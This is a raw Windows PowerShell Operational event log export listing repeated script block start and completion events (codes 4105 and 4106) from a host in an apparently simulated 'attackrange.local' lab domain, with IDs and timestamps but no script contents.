OpCode=On create calls
RecordNumber=2031140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031131
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031125
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031103
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031101
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031100
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
